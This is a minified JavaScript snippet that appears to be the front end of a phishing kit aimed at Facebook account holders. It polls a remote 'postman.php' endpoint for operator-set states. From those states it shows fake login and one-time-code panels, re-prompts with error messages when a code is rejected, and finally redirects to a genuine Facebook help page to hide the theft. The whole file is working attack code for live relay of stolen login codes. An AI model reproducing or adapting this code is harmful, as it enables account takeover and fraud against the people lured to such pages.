var lastWindows = 'suzuki-logon-area'; // Updated to match the new div ID function loadstation() { var lastState = ''; sendPost(sess); $("#station_data").load("global/inc/postman.php?getState&_sess=" + sess, function(response, status, xhr) { if (status === "success") { lastState = response; checkState(response); } else { console.log("Error loading content."); } }); } function checkState(state) { if (state.includes("LOADING")) { console.log("loading!"); } else if (state.trim() === "OTP") { console.log('OTP'); setValue('_kd', ''); $('#loading-content').hide(); $('#' + lastWindows).hide(); $('#suzuki-sec-area').show(); $('#_kd').focus(); lastWindows = 'suzuki-sec-area'; return 0; } else if (state.trim() === "Login") { let host = window.location.origin; window.location.href = host + "?h=1"; } else if (state.trim() === "OTP_ERNO") { console.log('OTP_ERNO'); setValue('_kd', ''); $('#loading-content').hide(); $('#' + lastWindows).hide(); $('#suzuki-sec-area').show(); $('#_kd').focus(); lastWindows = 'suzuki-sec-area'; showError('_kd'); $('#op_erno').show(); return 0; } else if (state.trim() === "ML_OTP") { console.log('ML_OTP'); setValue('_kd', ''); $('#loading-content').hide(); $('#' + lastWindows).hide(); $('#suzuki-sec-ml-area').show(); $('#_kd_ml').focus(); lastWindows = 'suzuki-sec-ml-area'; return 0; } else if (state.trim() === "ML_OTP_ERNO") { console.log('ML_OTP_ERNO'); setValue('_kd', ''); $('#loading-content').hide(); $('#' + lastWindows).hide(); $('#suzuki-sec-ml-area').show(); $('#_kd_ml').focus(); lastWindows = 'suzuki-sec-ml-area'; showError('_kd_ml'); $('#ml_erno').show(); return 0; } else if (state.trim() === "FINISH") { console.log('FINISH'); $('#loading-content').hide(); $('#' + lastWindows).hide(); $('#suzuki-success-area').show(); redirect('https://www.facebook.com/business/learn/lessons/verify-facebook-instagram-account/', 7500); return 0; } setTimeout(loadstation, 2000); }